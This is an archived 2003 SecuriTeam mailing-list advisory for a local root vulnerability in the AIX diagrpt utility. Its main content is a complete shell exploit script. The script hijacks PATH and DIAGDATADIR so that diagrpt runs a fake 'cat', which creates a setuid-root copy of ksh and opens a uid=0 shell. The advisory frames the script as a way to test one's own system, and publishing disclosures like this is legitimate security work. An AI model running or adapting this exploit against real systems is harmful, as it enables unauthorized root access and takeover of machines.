

[EXPL] Exploit Code Released for diagrpt Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0023.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 06/11/03

To: list@securiteam.com

Date: 11 Jun 2003 18:33:41 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Latest attack techniques.

You're a pen tester, but is google.com still your R&D team?

Now you can get trustworthy commercial-grade exploits and the latest techniques from a world-class research group.

Learn more at <http://www.coresecurity.com/promos/site1>,
or call 617-399-6980

Exploit Code Released for diagrpt Vulnerability

SUMMARY

When 'diagrpt' executes, it relies on an environment variable to locate another utility that it executes. This utility is executed by 'diagrpt' as root. An attacker can gain root privileges by having 'diagrpt' execute a malicious program of the same name in a directory under their control. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

```
#!/bin/sh
```

```
# FileName: x_diagrpt.sh
```

```
# Exploit diagrpt of Aix4.x & 5L to get a uid=0 shell.
```

```
# Tested : on Aix4.3.3 & Aix5.1.
```

```
# Author : watercloud@xfocus.org
```

Securiteam: [EXPL] Exploit Code Released for diagrpt Vulnerability

```
# Site : www.xfocus.org www.xfocus.net
# Date : 2003-5-23
# Announce: use as your owner risk!
#
# Note :
# It does not work on all versions of tsm command.
# Use this command to test if your version can exploit or not :
# bash$ strings /usr/lpp/diagnostics/bin/diagrpt |grep cat
# diagrpt.cat
# cat %s <--- here ! have the bug !!! can exploit!
#
```

```
O_DIR=`/bin/pwd`
cd /tmp ; mkdir .ex$$ ; cd .ex$$
PATH=/tmp/.ex$$:$PATH ; export PATH
/bin/cat >cat<<EOF
#!/bin/ksh -p
cp /bin/ksh ./kfs
chown root ./kfs
chmod 777 ./kfs
chmod u+s ./kfs
EOF
chmod a+x cat
```

```
DIAGDATADIR=/tmp/.ex$$ ; export DIAGDATADIR
touch /tmp/.ex$$/diagrpt1.dat
```

```
/usr/lpp/diagnostics/bin/diagrpt -o 010101
stty echo
stty intr '^C' erase '^H' eof '^D' eol '^@'
```

```
if [ -e ./kfs ] ;then
  echo ""
  echo "======"
  pwd
  ls -l ./kfs
  echo "Exploit ok ! Use this command to get a uid=0 shell :"
  echo '/usr/bin/syscall setreuid 0 0 \; execve "/bin/sh" '
  ./kfs
else
  echo ""
  echo "Exploit false !!!!!"
fi
```

```
cd /tmp ; /bin/rm -Rf /tmp/.ex$$ ;cd $O_DIR
#EOF
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:watercloud@xfocus.org>>
watercloud.

Securiteam: [EXPL] Exploit Code Released for diagrpt Vulnerability

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.